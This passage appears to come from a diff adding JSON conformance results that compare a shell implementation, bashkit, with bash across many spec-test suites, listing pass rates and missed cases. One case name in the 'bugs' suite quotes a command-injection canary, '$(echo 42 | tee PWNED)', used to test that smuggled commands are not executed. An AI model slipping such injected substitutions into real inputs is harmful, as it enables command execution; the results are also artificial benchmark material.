+ "case": 11, + "name": "Locations when sourcing", + "class": "behavior", + "on": "stdout" + }, + { + "case": 12, + "name": "Sourcing inside function grows the debug stack", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 8 + ] + }, + "nul-bytes": { + "summary": { + "cases": 16, + "bashkit_pass": 7, + "bashkit_pass_pct": 43.8, + "bash_pass": 16, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 7, + "pass_rate": 43.8 + }, + "missed": [ + { + "case": 1, + "name": "printf - literal NUL in format string", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "printf - NUL byte in value (OSH and zsh agree)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "NUL bytes with echo $'\\0' (OSH and zsh agree)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "NUL bytes with test -n", + "class": "behavior", + "on": "stdout" + }, + { + "case": 7, + "name": "NUL bytes with test -f", + "class": "behavior", + "on": "stdout" + }, + { + "case": 8, + "name": "NUL bytes with ${#s} (OSH and zsh agree)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "Compare \\x00 byte versus \\x01 byte - read builtin", + "class": "behavior", + "on": "stdout" + }, + { + "case": 11, + "name": "Compare \\x00 byte versus \\x01 byte - read -n", + "class": "behavior", + "on": "stdout" + }, + { + "case": 12, + "name": "Compare \\x00 byte versus \\x01 byte - mapfile builtin", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "ysh-builtin-private": { + "summary": { + "cases": 23, + "bashkit_pass": 13, + "bashkit_pass_pct": 56.5, + "bash_pass": 22, + "bash_pass_pct": 95.7, + "bashkit_pass_of_bash": 13, + "pass_rate": 59.1 + }, + "missed": [ + { + "case": 9, + "name": "builtin sleep behaves like external sleep", + "class": "behavior", + "on": "stdout" + }, + { + "case": 12, + "name": "builtin cat", + "class": "behavior", + "on": "stdout" + }, + { + "case": 13, + "name": "builtin cat usage", + "class": "behavior", + "on": "stdout" + }, + { + "case": 14, + "name": "builtin cat non nonexistent file", + "class": "behavior", + "on": "stdout" + }, + { + "case": 15, + "name": "builtin cat accept - for stdin", + "class": "behavior", + "on": "stdout" + }, + { + "case": 16, + "name": "builtin rm: usage, removing files", + "class": "behavior", + "on": "stdout" + }, + { + "case": 17, + "name": "builtin rm -f - ignores arguments that don't exist", + "class": "behavior", + "on": "stdout" + }, + { + "case": 20, + "name": "builtin rm always fails on directories (regardless of -f)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 22, + "name": "compgen -A builtin doesn't find private builtins", + "class": "interactive", + "on": "stdout" + } + ], + "bash_fails": [ + 18 + ] + }, + "arith": { + "summary": { + "cases": 74, + "bashkit_pass": 66, + "bashkit_pass_pct": 89.2, + "bash_pass": 74, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 66, + "pass_rate": 89.2 + }, + "missed": [ + { + "case": 0, + "name": "Side Effect in Array Indexing", + "class": "behavior", + "on": "stdout" + }, + { + "case": 8, + "name": "Arith sub within arith sub", + "class": "behavior", + "on": "stdout" + }, + { + "case": 9, + "name": "Backticks within arith sub", + "class": "behavior", + "on": "stdout" + }, + { + "case": 13, + "name": "Integer constant validation", + "class": "behavior", + "on": "stdout" + }, + { + "case": 20, + "name": "Increment undefined variables with nounset", + "class": "behavior", + "on": "stdout" + }, + { + "case": 40, + "name": "nounset with arithmetic", + "class": "behavior", + "on": "stdout" + }, + { + "case": 50, + "name": "Comment not allowed in the middle of multiline arithmetic", + "class": "behavior", + "on": "stdout" + }, + { + "case": 70, + "name": "undef[0] with nounset", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "bugs": { + "summary": { + "cases": 29, + "bashkit_pass": 21, + "bashkit_pass_pct": 72.4, + "bash_pass": 29, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 21, + "pass_rate": 72.4 + }, + "missed": [ + { + "case": 5, + "name": "assign readonly -- multiple lines -- set -o posix", + "class": "behavior", + "on": "stdout" + }, + { + "case": 9, + "name": "Function names", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "file with NUL byte", + "class": "behavior", + "on": "stdout" + }, + { + "case": 12, + "name": "'echo' and printf fail on writing to full disk", + "class": "behavior", + "on": "stdout" + }, + { + "case": 13, + "name": "other builtins fail on writing to full disk", + "class": "processes", + "on": "stdout" + }, + { + "case": 19, + "name": "command execution $(echo 42 | tee PWNED) not allowed", + "class": "behavior", + "on": "stdout" + }, + { + "case": 21, + "name": "unset doesn't allow command execution", + "class": "behavior", + "on": "stdout" + }, + { + "case": 27, + "name": "Crash after changing $[] to be alias of $(( ))", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "var-op-test": { + "summary": { + "cases": 37, + "bashkit_pass": 29, + "bashkit_pass_pct": 78.4, + "bash_pass": 37, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 29, + "pass_rate": 78.4 + }, + "missed": [ + { + "case": 15, + "name": "Nix idiom ${!hooksSlice+\"${!hooksSlice}\"} - was workaround for obsolete bash 4.3 bug", + "class": "behavior", + "on": "stdout" + }, + { + "case": 17, + "name": "array and - and +", + "class": "behavior", + "on": "stdout" + }, + { + "case": 20, + "name": "$@ (\"\" \"\") and - and +", + "class": "behavior", + "on": "stdout" + }, + { + "case": 21, + "name": "$* (\"\" \"\") and - and + (IFS=)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 32, + "name": "op-test for ${a} and ${a[0]}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 34, + "name": "op-test for ${!array} with array=\"a\" and array=\"a[0]\"", + "class": "behavior", + "on": "stdout" + }, + { + "case": 35, + "name": "op-test for ${!array} with array=\"a[@]\" or array=\"a[*]\"", + "class": "behavior", + "on": "stdout" + }, + { + "case": 36, + "name": "op-test for unquoted ${a[*]:-empty} with IFS=", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "alias": { + "summary": { + "cases": 48, + "bashkit_pass": 41, + "bashkit_pass_pct": 85.4, + "bash_pass": 48, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 41, + "pass_rate": 85.4 + }, + "missed": [ + { + "case": 2, + "name": "define and use alias on a single line", + "class": "behavior", + "on": "stdout" + }, + { + "case": 23, + "name": "Loop split across alias in another way", + "class": "behavior", + "on": "stdout" + }, + { + "case": 24, + "name": "Loop split across both iterative and recursive aliases", + "class": "behavior", + "on": "stdout" + }, + { + "case": 30, + "name": "Alias can be defined and used on a single line", + "class": "behavior", + "on": "stdout" + }, + { + "case": 35, + "name": "alias for left brace", + "class": "behavior", + "on": "stdout" + }, + { + "case": 36, + "name": "alias for left paren", + "class": "behavior", + "on": "stdout" + }, + { + "case": 39, + "name": "here doc inside alias", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "array-literal": { + "summary": { + "cases": 19, + "bashkit_pass": 12, + "bashkit_pass_pct": 63.2, + "bash_pass": 19, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 12, + "pass_rate": 63.2 + }, + "missed": [ + { + "case": 0, + "name": "Tilde expansions in RHS of [k]=v (BashArray)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 1, + "name": "Tilde expansions in RHS of [k]=v (BashAssoc)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "append to element (BashAssoc)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 7, + "name": "non-index forms of element (BashAssoc)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 8, + "name": "Evaluation order (1)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 9, + "name": "Evaluation order (2)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "Evaluation order (3)", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "background": { + "summary": { + "cases": 27, + "bashkit_pass": 20, + "bashkit_pass_pct": 74.1, + "bash_pass": 27, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 20, + "pass_rate": 74.1 + }, + "missed": [ + { + "case": 1, + "name": "wait -n with arguments - arguments are respected", + "class": "processes", + "on": "stdout" + }, + { + "case": 5, + "name": "wait with invalid arg", + "class": "processes", + "on": "status" + }, + { + "case": 7, + "name": "wait for N parallel jobs and check failure", + "class": "processes", + "on": "stdout" + }, + { + "case": 11, + "name": "Start background pipeline, wait %job_spec", + "class": "processes", + "on": "stdout" + }, + { + "case": 12, + "name": "Wait for job and PIPESTATUS", + "class": "processes", + "on": "stdout" + }, + { + "case": 13, + "name": "Wait for job and PIPESTATUS - cat", + "class": "processes", + "on": "stdout" + }, + { + "case": 26, + "name": "Signal message for killed background job", + "class": "signals", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-trap": { + "summary": { + "cases": 33, + "bashkit_pass": 26, + "bashkit_pass_pct": 78.8, + "bash_pass": 33, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 26, + "pass_rate": 78.8 + }, + "missed": [ + { + "case": 17, + "name": "trap EXIT calling exit", + "class": "behavior", + "on": "status" + }, + { + "case": 20, + "name": "trap EXIT with PARSE error and explicit exit", + "class": "behavior", + "on": "status" + }, + { + "case": 24, + "name": "exit codes for traps are isolated", + "class": "signals", + "on": "stdout" + }, + { + "case": 25, + "name": "traps are cleared in subshell (started with &)", + "class": "signals", + "on": "stdout" + }, + { + "case": 26, + "name": "trap USR1, sleep, SIGINT: non-interactively", + "class": "behavior", + "on": "stdout" + }, + { + "case": 28, + "name": "trap EXIT, sleep, SIGINT: non-interactively", + "class": "behavior", + "on": "stdout" + }, + { + "case": 29, + "name": "Remove trap with an unsigned integer", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "array-assoc": { + "summary": { + "cases": 42, + "bashkit_pass": 30, + "bashkit_pass_pct": 71.4, + "bash_pass": 36, + "bash_pass_pct": 85.7, + "bashkit_pass_of_bash": 30, + "pass_rate": 83.3 + }, + "missed": [ + { + "case": 15, + "name": "lookup with unquoted $key and quoted \"$i$i\"", + "class": "behavior", + "on": "stdout" + }, + { + "case": 19, + "name": "Indexed array as key of associative array coerces to string (without shopt -s strict_array)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 30, + "name": "unset -v and assoc array", + "class": "behavior", + "on": "stdout" + }, + { + "case": 31, + "name": "nameref and assoc array", + "class": "behavior", + "on": "stdout" + }, + { + "case": 32, + "name": "${!ref} and assoc array", + "class": "behavior", + "on": "stdout" + }, + { + "case": 33, + "name": "printf -v and assoc array", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 1, + 2, + 21, + 26, + 34, + 41 + ] + }, + "assign-extended": { + "summary": { + "cases": 39, + "bashkit_pass": 29, + "bashkit_pass_pct": 74.4, + "bash_pass": 35, + "bash_pass_pct": 89.7, + "bashkit_pass_of_bash": 29, + "pass_rate": 82.9 + }, + "missed": [ + { + "case": 4, + "name": "declare -F with shopt -s extdebug prints more info", + "class": "behavior", + "on": "stdout" + }, + { + "case": 5, + "name": "declare -F with shopt -s extdebug and main file", + "class": "behavior", + "on": "stdout" + }, + { + "case": 18, + "name": "ble.sh: eval -- \"$(declare -p var arr)\"", + "class": "behavior", + "on": "stdout" + }, + { + "case": 29, + "name": "syntax error in array assignment", + "class": "behavior", + "on": "stdout" + }, + { + "case": 31, + "name": "myvar=typeset (another form of dynamic assignment)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 38, + "name": "unset and shell funcs", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 7, + 8, + 10, + 11 + ] + }, + "ble-idioms": { + "summary": { + "cases": 26, + "bashkit_pass": 20, + "bashkit_pass_pct": 76.9, + "bash_pass": 26, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 20, + "pass_rate": 76.9 + }, + "missed": [ + { + "case": 5, + "name": "recursive arith: recursion", + "class": "behavior", + "on": "stdout" + }, + { + "case": 9, + "name": "dynamic arith varname: copy/add", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "is-array with ${var@a}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 12, + "name": "shift unshift reverse", + "class": "behavior", + "on": "stdout" + }, + { + "case": 19, + "name": "Issue #1069 [53] BUG: a[1 + 1]=2, etc. fails", + "class": "behavior", + "on": "stdout" + }, + { + "case": 20, + "name": "Issue #1069 [53] - LHS array parsing a[1 + 2]=3 (see spec/array-assign for more)", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-read": { + "summary": { + "cases": 64, + "bashkit_pass": 58, + "bashkit_pass_pct": 90.6, + "bash_pass": 64, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 58, + "pass_rate": 90.6 + }, + "missed": [ + { + "case": 33, + "name": "read -t 0 tests if input is available", + "class": "behavior", + "on": "stdout" + }, + { + "case": 40, + "name": "read -u 3 -d b -N 6", + "class": "behavior", + "on": "stdout" + }, + { + "case": 41, + "name": "read -N doesn't respect delimiter, while read -n does", + "class": "behavior", + "on": "stdout" + }, + { + "case": 48, + "name": "mapfile from directory (bash doesn't handle errors)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 54, + "name": "empty input and splitting", + "class": "behavior", + "on": "stdout" + }, + { + "case": 63, + "name": "read bash bug", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-vars": { + "summary": { + "cases": 41, + "bashkit_pass": 33, + "bashkit_pass_pct": 80.5, + "bash_pass": 39, + "bash_pass_pct": 95.1, + "bashkit_pass_of_bash": 33, + "pass_rate": 84.6 + }, + "missed": [ + { + "case": 16, + "name": "Make an existing local variable readonly", + "class": "behavior", + "on": "stdout" + }, + { + "case": 17, + "name": "assign to readonly variable - errexit", + "class": "behavior", + "on": "status" + }, + { + "case": 22, + "name": "Unset a function without -f", + "class": "behavior", + "on": "stdout" + }, + { + "case": 33, + "name": "unset -v assoc (related to issue #661)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 35, + "name": "Unset array member with dynamic parsing", + "class": "behavior", + "on": "stdout" + }, + { + "case": 39, + "name": "unset a[-1] (bf.bash regression)", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 26, + 32 + ] + }, + "xtrace": { + "summary": { + "cases": 19, + "bashkit_pass": 13, + "bashkit_pass_pct": 68.4, + "bash_pass": 19, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 13, + "pass_rate": 68.4 + }, + "missed": [ + { + "case": 0, + "name": "unset PS4", + "class": "interactive", + "on": "stderr" + }, + { + "case": 1, + "name": "set -o verbose prints unevaluated code", + "class": "behavior", + "on": "stderr" + }, + { + "case": 2, + "name": "xtrace with unprintable chars", + "class": "behavior", + "on": "stdout" + }, + { + "case": 9, + "name": "Assignments and assign builtins", + "class": "behavior", + "on": "stderr" + }, + { + "case": 10, + "name": "[[ ]]", + "class": "behavior", + "on": "stderr" + }, + { + "case": 17, + "name": "Regression: xtrace for \"declare -a a+=(v)\"", + "class": "behavior", + "on": "stderr" + } + ], + "bash_fails": [] + }, + "arith-context": { + "summary": { + "cases": 16, + "bashkit_pass": 11, + "bashkit_pass_pct": 68.8, + "bash_pass": 16, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 11, + "pass_rate": 68.8 + }, + "missed": [ + { + "case": 6, + "name": "Ambiguous colon in slice", + "class": "behavior", + "on": "stdout" + }, + { + "case": 9, + "name": "$[ is a synonym for $((", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "$[$var is a synonym for $(($var (#2426)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 11, + "name": "$[$undefined] is a synonym for $(($undefined (#2566)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 15, + "name": "Empty expression a[]", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "assign": { + "summary": { + "cases": 48, + "bashkit_pass": 40, + "bashkit_pass_pct": 83.3, + "bash_pass": 45, + "bash_pass_pct": 93.8, + "bashkit_pass_of_bash": 40, + "pass_rate": 88.9 + }, + "missed": [ + { + "case": 8, + "name": "Escaped = in command name", + "class": "behavior", + "on": "stdout" + }, + { + "case": 25, + "name": "Test above without 'local' (which is not POSIX)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 30, + "name": "assignment using dynamic keyword (splits in most shells, not in zsh/osh)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 32, + "name": "assign and glob", + "class": "behavior", + "on": "stdout" + }, + { + "case": 33, + "name": "declare and glob", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 24, + 27, + 46 + ] + }, + "blog1": { + "summary": { + "cases": 9, + "bashkit_pass": 4, + "bashkit_pass_pct": 44.4, + "bash_pass": 9, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 4, + "pass_rate": 44.4 + }, + "missed": [ + { + "case": 1, + "name": "${###}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 2, + "name": "${####}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "${##2}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "${###2}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 7, + "name": "${#1#'###'}", + "class": "behavior", + "on": "status" + } + ], + "bash_fails": [] + }, + "builtin-bracket": { + "summary": { + "cases": 52, + "bashkit_pass": 45, + "bashkit_pass_pct": 86.5, + "bash_pass": 50, + "bash_pass_pct": 96.2, + "bashkit_pass_of_bash": 45, + "pass_rate": 90.0 + }, + "missed": [ + { + "case": 27, + "name": "-k for sticky bit", + "class": "behavior", + "on": "stdout" + }, + { + "case": 36, + "name": "-G and -O for effective user ID and group ID", + "class": "behavior", + "on": "stdout" + }, + { + "case": 37, + "name": "-u for setuid, -g too", + "class": "host", + "on": "stdout" + }, + { + "case": 41, + "name": "-ef", + "class": "behavior", + "on": "stdout" + }, + { + "case": 44, + "name": "test -c", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 25, + 26 + ] + }, + "builtin-meta": { + "summary": { + "cases": 18, + "bashkit_pass": 13, + "bashkit_pass_pct": 72.2, + "bash_pass": 18, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 13, + "pass_rate": 72.2 + }, + "missed": [ + { + "case": 3, + "name": "command -v doesn't find non-executable file", + "class": "host", + "on": "stdout" + }, + { + "case": 5, + "name": "command -V", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "command -V nonexistent", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "command -p (override existing program)", + "class": "host", + "on": "stdout" + }, + { + "case": 11, + "name": "command -p (hide tool in custom path)", + "class": "host", + "on": "status" + } + ], + "bash_fails": [] + }, + "builtin-meta-assign": { + "summary": { + "cases": 11, + "bashkit_pass": 6, + "bashkit_pass_pct": 54.5, + "bash_pass": 11, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 6, + "pass_rate": 54.5 + }, + "missed": [ + { + "case": 0, + "name": "builtin declare a=(x y) is allowed", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "export, builtin export", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "\\builtin declare - ble.sh relies on it", + "class": "behavior", + "on": "stdout" + }, + { + "case": 5, + "name": "\\command readonly - similar issue", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "Dynamic $c readonly - bash and dash change behavior, mksh bug", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-printf": { + "summary": { + "cases": 63, + "bashkit_pass": 56, + "bashkit_pass_pct": 88.9, + "bash_pass": 58, + "bash_pass_pct": 92.1, + "bashkit_pass_of_bash": 53, + "pass_rate": 91.4 + }, + "missed": [ + { + "case": 16, + "name": "%06s is no-op", + "class": "behavior", + "on": "stdout" + }, + { + "case": 18, + "name": "printf %6.0s and %0.0s", + "class": "behavior", + "on": "stdout" + }, + { + "case": 19, + "name": "printf %6.s and %0.s", + "class": "behavior", + "on": "stdout" + }, + { + "case": 33, + "name": "printf octal backslash escapes", + "class": "behavior", + "on": "stdout" + }, + { + "case": 51, + "name": "bash truncates long strftime string at 128", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 26, + 27, + 46, + 47, + 48 + ] + }, + "builtin-process": { + "summary": { + "cases": 26, + "bashkit_pass": 20, + "bashkit_pass_pct": 76.9, + "bash_pass": 24, + "bash_pass_pct": 92.3, + "bashkit_pass_of_bash": 19, + "pass_rate": 79.2 + }, + "missed": [ + { + "case": 3, + "name": "exec builtin accepts --", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "exec -- 2>&1", + "class": "behavior", + "on": "stdout" + }, + { + "case": 5, + "name": "exec -a sets argv[0]", + "class": "behavior", + "on": "stdout" + }, + { + "case": 20, + "name": "arg that would overflow 64 bits is detected", + "class": "processes", + "on": "stdout" + }, + { + "case": 25, + "name": "ulimit -n limits file descriptors", + "class": "processes", + "on": "stdout" + } + ], + "bash_fails": [ + 9, + 22 + ] + }, + "nameref": { + "summary": { + "cases": 32, + "bashkit_pass": 27, + "bashkit_pass_pct": 84.4, + "bash_pass": 32, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 27, + "pass_rate": 84.4 + }, + "missed": [ + { + "case": 15, + "name": "-n attribute on array is hard error, not a warning", + "class": "behavior", + "on": "stdout" + }, + { + "case": 16, + "name": "exported nameref", + "class": "behavior", + "on": "stdout" + }, + { + "case": 26, + "name": "a[expr] in nameref", + "class": "behavior", + "on": "stdout" + }, + { + "case": 27, + "name": "a[@] in nameref", + "class": "behavior", + "on": "stdout" + }, + { + "case": 29, + "name": "bad mutation through nameref: ref[0]= where ref is array[0]", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "ble-features": { + "summary": { + "cases": 9, + "bashkit_pass": 5, + "bashkit_pass_pct": 55.6, + "bash_pass": 9, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 5, + "pass_rate": 55.6 + }, + "missed": [ + { + "case": 1, + "name": "[bash_unset] local-unset / dynamic-unset for localvar (mutated from tempenv)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 2, + "name": "[bash_unset] local-unset / dynamic-unset for tempenv", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "[bash_unset] function call with tempenv vs tempenv-eval", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "[bash_unset] localvar-inherit from tempenv", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "ble-unset": { + "summary": { + "cases": 5, + "bashkit_pass": 1, + "bashkit_pass_pct": 20.0, + "bash_pass": 5, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 1, + "pass_rate": 20.0 + }, + "missed": [ + { + "case": 1, + "name": "[bash_unset] local-unset / dynamic-unset for localvar on nested-context", + "class": "behavior", + "on": "stdout" + }, + { + "case": 2, + "name": "[bash_unset] dynamic-unset for nested localvars", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "[bash_unset] dynamic-unset for nested tempenvs", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "[bash_unset] local-unset for nested tempenvs", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "brace-expansion": { + "summary": { + "cases": 55, + "bashkit_pass": 51, + "bashkit_pass_pct": 92.7, + "bash_pass": 55, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 51, + "pass_rate": 92.7 + }, + "missed": [ + { + "case": 11, + "name": "double expansion with simple var -- bash bug", + "class": "behavior", + "on": "stdout" + }, + { + "case": 13, + "name": "double expansion with literal and simple var", + "class": "behavior", + "on": "stdout" + }, + { + "case": 21, + "name": "Empty alternative with empty string suffix", + "class": "behavior", + "on": "stdout" + }, + { + "case": 42, + "name": "Mixed case char expansion is invalid", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-cd": { + "summary": { + "cases": 30, + "bashkit_pass": 24, + "bashkit_pass_pct": 80.0, + "bash_pass": 28, + "bash_pass_pct": 93.3, + "bashkit_pass_of_bash": 24, + "pass_rate": 85.7 + }, + "missed": [ + { + "case": 5, + "name": "$OLDPWD", + "class": "behavior", + "on": "stdout" + }, + { + "case": 9, + "name": "setting $PWD doesn't affect the value of 'pwd' builtin", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "unset PWD; then pwd", + "class": "behavior", + "on": "stdout" + }, + { + "case": 14, + "name": "pwd in symlinked dir on shell initialization", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 24, + 25 + ] + }, + "builtin-dirs": { + "summary": { + "cases": 18, + "bashkit_pass": 14, + "bashkit_pass_pct": 77.8, + "bash_pass": 18, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 14, + "pass_rate": 77.8 + }, + "missed": [ + { + "case": 1, + "name": "pushd usage", + "class": "behavior", + "on": "stdout" + }, + { + "case": 2, + "name": "popd usage error", + "class": "behavior", + "on": "stdout" + }, + { + "case": 16, + "name": "pushd does not take more than one argument", + "class": "behavior", + "on": "stdout" + }, + { + "case": 17, + "name": "dirs does not take arguments", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-kill": { + "summary": { + "cases": 20, + "bashkit_pass": 16, + "bashkit_pass_pct": 80.0, + "bash_pass": 19, + "bash_pass_pct": 95.0, + "bashkit_pass_of_bash": 15, + "pass_rate": 78.9 + }, + "missed": [ + { + "case": 8, + "name": "kill -l 10 TERM translates between names and numbers", + "class": "signals", + "on": "stdout" + }, + { + "case": 9, + "name": "kill -L checks for invalid input", + "class": "signals", + "on": "stdout" + }, + { + "case": 12, + "name": "kill -l 0 returns EXIT", + "class": "signals", + "on": "stdout" + }, + { + "case": 13, + "name": "kill -l 0 INT lists both signals", + "class": "signals", + "on": "stdout" + } + ], + "bash_fails": [ + 16 + ] + }, + "builtin-special": { + "summary": { + "cases": 12, + "bashkit_pass": 8, + "bashkit_pass_pct": 66.7, + "bash_pass": 12, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 8, + "pass_rate": 66.7 + }, + "missed": [ + { + "case": 1, + "name": "Prefix assignments persist after special builtins, like : (set -o posix)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 2, + "name": "Prefix assignments persist after readonly, but NOT exported (set -o posix)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "Special builtins can't be redefined as shell functions (set -o posix)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "bash 'type' gets confused - says 'function', but runs builtin", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "parse-errors": { + "summary": { + "cases": 27, + "bashkit_pass": 21, + "bashkit_pass_pct": 77.8, + "bash_pass": 25, + "bash_pass_pct": 92.6, + "bashkit_pass_of_bash": 21, + "pass_rate": 84.0 + }, + "missed": [ + { + "case": 11, + "name": "} on the second line", + "class": "behavior", + "on": "status" + }, + { + "case": 16, + "name": "misplaced parentheses are not a subshell", + "class": "behavior", + "on": "status" + }, + { + "case": 22, + "name": "array literal inside array is a parse error", + "class": "behavior", + "on": "stdout" + }, + { + "case": 25, + "name": "%foo=() is parse error (regression)", + "class": "behavior", + "on": "status" + } + ], + "bash_fails": [ + 0, + 1 + ] + }, + "regex": { + "summary": { + "cases": 37, + "bashkit_pass": 33, + "bashkit_pass_pct": 89.2, + "bash_pass": 37, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 33, + "pass_rate": 89.2 + }, + "missed": [ + { + "case": 16, + "name": "Unquoted { is a regex parse error", + "class": "behavior", + "on": "stdout" + }, + { + "case": 18, + "name": "Quoted { and +", + "class": "behavior", + "on": "stdout" + }, + { + "case": 32, + "name": "Quotes '' \"\" $'' $\"\" in pattern", + "class": "behavior", + "on": "stdout" + }, + { + "case": 35, + "name": "make a lisp example", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "sh-options": { + "summary": { + "cases": 39, + "bashkit_pass": 35, + "bashkit_pass_pct": 89.7, + "bash_pass": 39, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 35, + "pass_rate": 89.7 + }, + "missed": [ + { + "case": 1, + "name": "$- with pipefail", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "$- with interactive shell", + "class": "interactive", + "on": "stdout" + }, + { + "case": 9, + "name": "interactive shell starts with emacs mode on", + "class": "interactive", + "on": "stdout" + }, + { + "case": 20, + "name": "noclobber on <>", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "var-sub-quote": { + "summary": { + "cases": 41, + "bashkit_pass": 37, + "bashkit_pass_pct": 90.2, + "bash_pass": 41, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 37, + "pass_rate": 90.2 + }, + "missed": [ + { + "case": 18, + "name": "part_value tree with multiple words", + "class": "behavior", + "on": "stdout" + }, + { + "case": 19, + "name": "part_value tree on RHS", + "class": "behavior", + "on": "stdout" + }, + { + "case": 38, + "name": "Right Brace as argument (similar to #702)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 39, + "name": "Var substitution with newlines (#2492)", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "vars-special": { + "summary": { + "cases": 42, + "bashkit_pass": 36, + "bashkit_pass_pct": 85.7, + "bash_pass": 40, + "bash_pass_pct": 95.2, + "bashkit_pass_of_bash": 36, + "pass_rate": 90.0 + }, + "missed": [ + { + "case": 1, + "name": "$PWD is not only set, but exported", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "$HOME is NOT set", + "class": "interactive", + "on": "stdout" + }, + { + "case": 4, + "name": "Vars set interactively only: $HISTFILE", + "class": "interactive", + 